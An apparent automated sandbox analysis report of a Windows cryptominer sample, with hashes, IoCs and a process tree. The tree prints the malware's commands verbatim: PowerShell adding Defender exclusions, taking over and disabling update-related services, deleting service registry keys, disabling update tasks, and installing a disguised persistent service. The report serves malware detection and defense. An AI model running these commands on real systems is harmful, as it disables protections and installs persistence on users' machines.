Analysis
- max time kernel
145s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
19/08/2026, 03:11
Static task
static1
Behavioral task
behavioral1
Sample
9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe
Resource
win11ltsc2024-20260709-en
General
- Target 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe
- Size 5.0MB
- Sample260819-dpy4qswalg
- SHA256 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7
- MD5 a70784dbd95512ac7f622c5baab68714
- SHA1 05b46b76724ed1a52ba76937f48937ccc1357f11
- SHA512 cc3475eda393f1670b19a424927962b9205d0f0502a1f84aaf000b10514a2e18fa18e43c5d80da367a28090646ea5136e5313ba6e559a412b41643b873b5ccc4
- SSDEEP 98304:s1Q2fw3t7pQ1/St8F9nlNUbSYv3PsPz/dSGGY9CHsPIH+UjFfue0OTvr:n2o3t72Et8HnzUbv/PsrkGGYg1Vfu4Tv
- TLSH T19C363387A98081B5C466C3B0C65B349EF0367BE646A17C0F39DE18E94E96F18787E3C4
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe - Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 2432 created 3240 2432 LockAppHost14a02b.exe 55 PID 2188 created 3240 2188 nslookup.exe 55 - XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/2820-93-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-95-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-96-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-99-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-98-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-97-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-100-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-104-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-105-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-106-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-107-0x0000000140000000-0x000000014080D000-memory.dmp xmrig behavioral1/memory/2820-108-0x0000000140000000-0x000000014080D000-memory.dmp xmrig - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3432 powershell.exe 4716 powershell.exe 4232 powershell.exe 1036 powershell.exe - Server Software Component: Terminal Services DLL 1 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\dumssflbzu\Parameters\ServiceDll = "%systemroot%\\system32\\usosvc.dll" reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mhmzixqdiq\Parameters\ServiceDll = "%SystemRoot%\\System32\\WaaSMedicSvc.dll" reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\qlyppdftlm\Parameters\ServiceDll = "%systemroot%\\system32\\wuaueng.dll" reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\exfetvkpob\Parameters\ServiceDll = "%SystemRoot%\\System32\\qmgr.dll" reg.exe - Sets service image path in registry 3 TTPs 5 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\dumssflbzu\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p" reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mhmzixqdiq\ImagePath = "%systemroot%\\system32\\svchost.exe -k wusvcs -p" reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\qlyppdftlm\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p" reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\exfetvkpob\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k netsvcs -p" reg.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\eekajbsqew\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k NetworkService -p" reg.exe - Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Deletes itself 1 IoCs
pid Process 1500 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 1 IoCs
pid Process 2432 LockAppHost14a02b.exe - Stops running service(s) 4 TTPs
- Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 3692 powercfg.exe 4664 powercfg.exe 1800 powercfg.exe 3708 powercfg.exe - Drops file in System32 directory 10 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12 nslookup.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12 nslookup.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8 nslookup.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8 nslookup.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\09B7CFCFBEBAD362B846E73EAF25FEFE nslookup.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\09B7CFCFBEBAD362B846E73EAF25FEFE nslookup.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2432 set thread context of 2188 2432 LockAppHost14a02b.exe 93 PID 2188 set thread context of 2820 2188 nslookup.exe 178 - Launches sc.exe 17 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4800 sc.exe 2744 sc.exe 4024 sc.exe 3352 sc.exe 1184 sc.exe 3408 sc.exe 1868 sc.exe 3292 sc.exe 3940 sc.exe 3192 sc.exe 532 sc.exe 312 sc.exe 5084 sc.exe 676 sc.exe 4636 sc.exe 4908 sc.exe 228 sc.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" nslookup.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ nslookup.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" nslookup.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" nslookup.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1500 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe 1500 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe 2432 LockAppHost14a02b.exe 2432 LockAppHost14a02b.exe 2432 LockAppHost14a02b.exe 2432 LockAppHost14a02b.exe 3432 powershell.exe 3432 powershell.exe 1036 powershell.exe 1036 powershell.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe 2188 nslookup.exe - Suspicious behavior: RenamesItself 1 IoCs
pid Process 1500 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe - Suspicious use of AdjustPrivilegeToken 15 IoCs
description pid Process Token: SeDebugPrivilege 2432 LockAppHost14a02b.exe Token: SeDebugPrivilege 2188 nslookup.exe Token: SeDebugPrivilege 3432 powershell.exe Token: SeDebugPrivilege 1036 powershell.exe Token: SeShutdownPrivilege 3692 powercfg.exe Token: SeCreatePagefilePrivilege 3692 powercfg.exe Token: SeShutdownPrivilege 3708 powercfg.exe Token: SeCreatePagefilePrivilege 3708 powercfg.exe Token: SeShutdownPrivilege 4664 powercfg.exe Token: SeCreatePagefilePrivilege 4664 powercfg.exe Token: SeShutdownPrivilege 1800 powercfg.exe Token: SeCreatePagefilePrivilege 1800 powercfg.exe Token: SeLockMemoryPrivilege 2820 svchost.exe Token: SeDebugPrivilege 4716 powershell.exe Token: SeDebugPrivilege 4232 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2820 svchost.exe - Suspicious use of WriteProcessMemory 53 IoCs
description pid Process procid_target PID 1500 wrote to memory of 4908 1500 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe 86 PID 1500 wrote to memory of 532 1500 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe 88 PID 1500 wrote to memory of 3192 1500 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe 90 PID 2432 wrote to memory of 2188 2432 LockAppHost14a02b.exe 93 PID 2188 wrote to memory of 3432 2188 nslookup.exe 94 PID 2188 wrote to memory of 1036 2188 nslookup.exe 96 PID 2188 wrote to memory of 228 2188 nslookup.exe 100 PID 2188 wrote to memory of 4800 2188 nslookup.exe 102 PID 2188 wrote to memory of 3352 2188 nslookup.exe 104 PID 2188 wrote to memory of 2744 2188 nslookup.exe 106 PID 2188 wrote to memory of 400 2188 nslookup.exe 108 PID 2188 wrote to memory of 1464 2188 nslookup.exe 110 PID 2188 wrote to memory of 1184 2188 nslookup.exe 112 PID 2188 wrote to memory of 3408 2188 nslookup.exe 114 PID 2188 wrote to memory of 4744 2188 nslookup.exe 116 PID 2188 wrote to memory of 4852 2188 nslookup.exe 118 PID 2188 wrote to memory of 1868 2188 nslookup.exe 120 PID 2188 wrote to memory of 3292 2188 nslookup.exe 122 PID 2188 wrote to memory of 1016 2188 nslookup.exe 124 PID 2188 wrote to memory of 1748 2188 nslookup.exe 126 PID 2188 wrote to memory of 3940 2188 nslookup.exe 128 PID 2188 wrote to memory of 312 2188 nslookup.exe 130 PID 2188 wrote to memory of 2128 2188 nslookup.exe 132 PID 2188 wrote to memory of 2292 2188 nslookup.exe 134 PID 2188 wrote to memory of 5084 2188 nslookup.exe 136 PID 2188 wrote to memory of 676 2188 nslookup.exe 138 PID 2188 wrote to memory of 4784 2188 nslookup.exe 140 PID 2188 wrote to memory of 3568 2188 nslookup.exe 142 PID 2188 wrote to memory of 3504 2188 nslookup.exe 144 PID 2188 wrote to memory of 1708 2188 nslookup.exe 146 PID 2188 wrote to memory of 5012 2188 nslookup.exe 148 PID 2188 wrote to memory of 3124 2188 nslookup.exe 150 PID 2188 wrote to memory of 2508 2188 nslookup.exe 152 PID 2188 wrote to memory of 3392 2188 nslookup.exe 154 PID 2188 wrote to memory of 3956 2188 nslookup.exe 156 PID 2188 wrote to memory of 1988 2188 nslookup.exe 158 PID 2188 wrote to memory of 2424 2188 nslookup.exe 160 PID 2188 wrote to memory of 2740 2188 nslookup.exe 162 PID 2188 wrote to memory of 4508 2188 nslookup.exe 164 PID 2188 wrote to memory of 3692 2188 nslookup.exe 166 PID 2188 wrote to memory of 3708 2188 nslookup.exe 167 PID 2188 wrote to memory of 1800 2188 nslookup.exe 168 PID 2188 wrote to memory of 4664 2188 nslookup.exe 170 PID 2188 wrote to memory of 1176 2188 nslookup.exe 172 PID 2188 wrote to memory of 4992 2188 nslookup.exe 176 PID 2188 wrote to memory of 2820 2188 nslookup.exe 178 PID 2188 wrote to memory of 2820 2188 nslookup.exe 178 PID 2188 wrote to memory of 4636 2188 nslookup.exe 181 PID 2188 wrote to memory of 4024 2188 nslookup.exe 183 PID 2188 wrote to memory of 4716 2188 nslookup.exe 185 PID 2188 wrote to memory of 3224 2188 nslookup.exe 187 PID 2188 wrote to memory of 1300 2188 nslookup.exe 189 PID 2188 wrote to memory of 4232 2188 nslookup.exe 191 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3240
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C:\Users\Admin\AppData\Local\Temp\9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe"C:\Users\Admin\AppData\Local\Temp\9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7.exe"2⤵
- Deletes itself
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"3⤵
- Launches sc.exe
PID:4908
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"3⤵
- Launches sc.exe
PID:532
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"3⤵
- Launches sc.exe
PID:3192
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C:\Windows\System32\nslookup.exe"C:\Windows\System32\nslookup.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3432
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1036
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled3⤵
- Launches sc.exe
PID:228
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4800
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config UsoSvc start= disabled3⤵
- Launches sc.exe
PID:3352
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop UsoSvc3⤵
- Launches sc.exe
PID:2744
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\dumssflbzu" /s /f3⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
PID:400
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1464
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled3⤵
- Launches sc.exe
PID:1184
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3408
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\mhmzixqdiq" /s /f3⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
PID:4744
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4852
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wuauserv start= disabled3⤵
- Launches sc.exe
PID:1868
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv3⤵
- Launches sc.exe
PID:3292
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\qlyppdftlm" /s /f3⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
PID:1016
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1748
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config BITS start= disabled3⤵
- Launches sc.exe
PID:3940
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop BITS3⤵
- Launches sc.exe
PID:312
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\exfetvkpob" /s /f3⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
PID:2128
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f3⤵PID:2292
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config dosvc start= disabled3⤵
- Launches sc.exe
PID:5084
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop dosvc3⤵
- Launches sc.exe
PID:676
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\eekajbsqew" /s /f3⤵
- Sets service image path in registry
PID:4784
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C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3568
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable3⤵PID:3504
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable3⤵PID:1708
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable3⤵PID:5012
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable3⤵PID:3124
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable3⤵PID:2508
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable3⤵PID:3392
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable3⤵PID:3956
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable3⤵PID:1988
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable3⤵PID:2424
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable3⤵PID:2740
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable3⤵PID:4508
